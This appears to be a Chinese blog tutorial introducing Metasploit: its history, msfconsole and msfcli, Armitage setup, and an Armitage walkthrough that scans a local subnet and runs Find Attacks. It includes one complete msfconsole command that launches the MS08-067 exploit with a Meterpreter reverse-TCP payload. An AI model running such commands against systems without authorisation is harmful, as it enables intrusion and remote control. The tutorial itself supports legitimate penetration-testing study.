什么是Metasploit

Metasploit是一款开源的安全漏洞检测工具。

它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。当我们第一次接触Metasploit渗透测试框架软件(MSF)时,可能会被它提供如此多的接口、选项、变量和模块所震撼,而感觉无所适从。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。

Metasploit背景和安装

2003年,HD Moore开发了开源项目Metasploit。

2007年,Metasploit使用Ruby重构,原本用的是Perl。

2009年,Rapid7买下了它,这是一家生产了漏洞扫描器Nexpose的信息安全公司。

Metasploit当前版本是4.9.3,Kali Linux默认安装。BackTrack里也有。如果你们使用其它版本的Linux或者Unix(包括Mac OS),可以去Rapid7官网下载。

Windows使用者也可以从Rapid7获取Windows版本,不过不建议在Windows上使用Metasploit。因为虽然可以下载安装,但是有些攻击框架的功能没能移植到Windows上,而且在Null Byte这里的很多攻击方式也没法工作在Windows上。

使用Metasploit的方式

有几种方式可以访问Metasploit。最通常的方式,也是我使用的方式,是通过Metasploit交互控制台。在Kali的命令行中输入msfconsole即可使用。以下是其它的方式:

Msfcli(已不能使用)

首先,我们可以从命令行使用Metasploit,即msfcli模式。看起来我们只是在控制台下使用命令行,实际上我们正使用着一个有特殊关键字和命令支持的交互对话框。通过msfcli,我们是真的在使用Linux命令行。

我们可以通过以下命令进入帮助页面:

kali > msfcli -h

但在新版metasploit中Msfcli不再有效,作为取代,我们可以在* Msfconsole 使用 -x 选项*。

比如说:

root@kali:~# msfconsole -x "use   exploit/windows/smb/ms08_067_netapi; set RHOST  [192.168.128.1]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [192.168.128.128]; run"

这样就可以直接使用啦!但是这种方式只能用单条指令(shell),执行一些复杂的漏洞攻击程序(exploits)就不太可能了。

这一部分与平时实验重叠。

Armitage

Armitage组件是Metasploit框架中一个完全交互式的图形化用户接口,由Raphael Mudge所开发。Armitage工具包含Metasploit控制台,通过使用其标签特性,用户可以看到多个Metasploit控制台或多个Meterpreter会话。

Armitage是基于C/S架构的Metasploit图形界面。启动Metasploit作为服务端,Armitage作为客户端,我们就有了一个可以使用Metasploit完整功能的完整——但不是完全直观——图形界面。

想通过图形界面使用Metasploit,那么我们有好几个选择。

1.在Kali启动Armitage,简单键入:

kali > armitage

如图Armitage:

2.如果Armitage连接失败,尝试以下替代命令:

kali > service start postgresql

kali > service start metasploit

kali > service stop metasploit

图Armitage1:

3.当然我们也可以直接经过这种方式。。。

如图另一种方式:

但是在使用Armitage工具前,必须将Metasploit服务启动!否则,无法运行Armitage工具。因为Armitage需要连接到Metasploit服务,才可以启动。在Kali桌面依次选择“应用程序”|Kali Linux|“系统服务”|Metasploit|community/pro start命令启动Metasploit服务,

图metasploit:

或者直接在命令行输入msfconsole

图msfconsole:

将输出如下所示的信息:

[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user 'msf3'…
Creating metasploit database 'msf3'…
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).

从输出的信息中可以看到++PostgreSQL 9.1++数据库服务已启动,并创建了数据库用户和数据库。

我们跟进一下连接界面,

图连接界面:

该界面显示了连接Metasploit的一个进度。当成功连接到Metasploit服务的话,将显示如下图所示的界面。

图:

该界面共有三个部分,这里把它们分别标记为A、B和C 。下面分别介绍这三部分。

1)A:这部分显示的是预配置模块。用户可以在模块列表中使用空格键搜索提供的模块。

2)B:这部分显示活跃的目标系统,用户能执行利用漏洞攻击。

3)C:这部分显示多个Metasploit标签。这样,就可以运行多个Meterpreter命令或控制台会话,并且同时显示。

实例

我们现在就拿Armitage做个实例。

(1)启动Armitage工具,界面如之前所示。从该界面可以看到默认没有扫描到任何主机。这里通过扫描,找到本网络中的所有主机。

(2)在Armitage工具的菜单栏中依次选择Hosts|Nmap Scan|Quick Scan命令。

(3)在该界面输入要扫描的网络范围,这里输入的网络范围是192.168.41.0/24。然后单击“确定”按钮,将开始扫描。扫描完成后,将显示如下图所示的界面。

图输入IP:

(4)从该界面可以看到,弹出了一个扫描完成对话框,此时单击“确定”按钮即可。并且在目标系统的窗口中,显示了三台主机。这三台主机就是扫描到的主机。从扫描完成的对话框中可以看到提示建议选择Attacks|Find Attacks命令,将可以渗透攻击目标系统

(5)在菜单栏中依次选择Attacks|Find Attacks命令,运行完后将显示如图所示的界面。

图attacks:

(6)从该界面可以看到攻击分析完成,并且右击扫描到的主机将会看到有一个Attack菜单

图显示attacks:

(7)从该界面可以看到在目标主机的菜单中出现了Attack选项,在该菜单中共有五个选项。在没有运行Find Attacks命令前,只要Services、Scan和Host三个选项。这里扫描到的主机屏幕都是黑色,这是因为还没有识别出操作系统的类型。此时可以在菜单栏中依次选择Hosts|Nmap Scan|Quick Scan(OS detect)命令,扫描操作系统类型。扫描完成后,将显示操作系统的默认图标。

(8)扫描操作系统。扫描完成后,将显示下图所示的界面

图操作系统:

Metasploit简单应用的更多相关文章

  1. Metasploit 简单渗透应用

    1.Metasploit端口扫描: 在终端输入msfconsole或直接从应用选metasploit 进入msf>nmap -v -sV 192.168.126.128  与nmap结果一样 用 ...

  2. Metasploit简单使用——后渗透阶段

    在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...

  3. Metasploit Framework(1)基本命令、简单使用

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 基本的控制台命令介绍: banner 查看metasp ...

  4. Metasploit学习记录---Nessus简单使用

    1.更新插件 上次搭建完后总觉得不踏实,因为老是提示插件多久没更新了,然后果断花了1.25美刀买了台vps,终于把最新的插件下载下来了,总共190M,需要的QQ私信我.

  5. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  6. metasploit渗透初探MR.robot(一)

    看了MR.robot,有一种研究渗透技术的冲动, 网上也看了些教程,要从kali linux说起, 下载vmware 12,http://www.vmware.com/go/tryworkstatio ...

  7. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  8. metasploit模块功能介绍

    metasploit的模块构成及功能分析  转载自----http://forum.cnsec.org/thread-94704-1-1.html 今天我们介绍一下metasploit的基础架构和 市 ...

  9. kali linux 系列教程之metasploit 连接postgresql可能遇见的问题

    kali linux 系列教程之metasploit 连接postgresql可能遇见的问题 文/玄魂   目录 kali linux 下metasploit 连接postgresql可能遇见的问题. ...

随机推荐

  1. 特来电CMDB应用实践

    配置管理数据库(Configuration Management Database,以下简称CMDB)是一个老生常谈的话题,不同的人有不同的见解,实际应用时,因为企业成熟度以及软硬件规模不同,别人的成 ...

  2. flutter .g文件生成不了

    [SEVERE] Conflicting outputs were detected and the build is unable to prompt for permission to remov ...

  3. 如何扩展 Azure 资源组中虚拟机的 OS 驱动器

    概述 在资源组中通过从 Azure 应用商店部署映像来创建新的虚拟机 (VM) 时,默认的 OS 驱动器空间为 127 GB. 尽管可以将数据磁盘添加到 VM(数量取决于所选择的 SKU),并且我们建 ...

  4. Azure 虚拟机代理概述

    Azure 虚拟机代理(AM 代理)是受保护的轻型过程,用于管理 VM 与 Azure 结构控制器的交互. VM 代理有一个主要角色,目的是启用和执行 Azure 虚拟机扩展. VM 扩展可用于对虚拟 ...

  5. 检测到在集成的托管管道模式下不适用的 ASP.NET 设置

    system.webServer节点下加上 <validation  validateIntegratedModeConfiguration="false" />

  6. Asp.Net MVC 模型(使用Entity Framework创建模型类)

    这篇教程的目的是解释在创建ASP.NET MVC应用程序时,如何使用Microsoft Entity Framework来创建数据访问类.这篇教程假设你事先对Microsoft Entity Fram ...

  7. 深入浅出Windows命令——telnet

  8. 第二次项目冲刺(Beta版本)2017/12/10

    一.任务分布 二.燃尽图 三.站立式会议 1.照片(再给我两分钟) 2.任务安排 四.总结 冲刺的最后一天了,时间安排的不够好,还有部分功能没有完成,大家都尽力了,我们后续会抓紧时间完成项目.

  9. python difflib.md

    difflib 此模块提供了用于比较序列的类和函数.它可以用于例如比较文件,并且可以产生各种格式的差异信息,包括HTML和上下文以及统一差异. difflib 模块包含用于计算和处理序列间差异的工具. ...

  10. CSS的六种定位模型

    定位模型 2017年6月8日 fanbright css支持6种定位模型 静态 绝对 固定 相对 浮动 相对浮动 设定位置 position:static;可以取消元素的定位设置,使之恢复为原先在常规 ...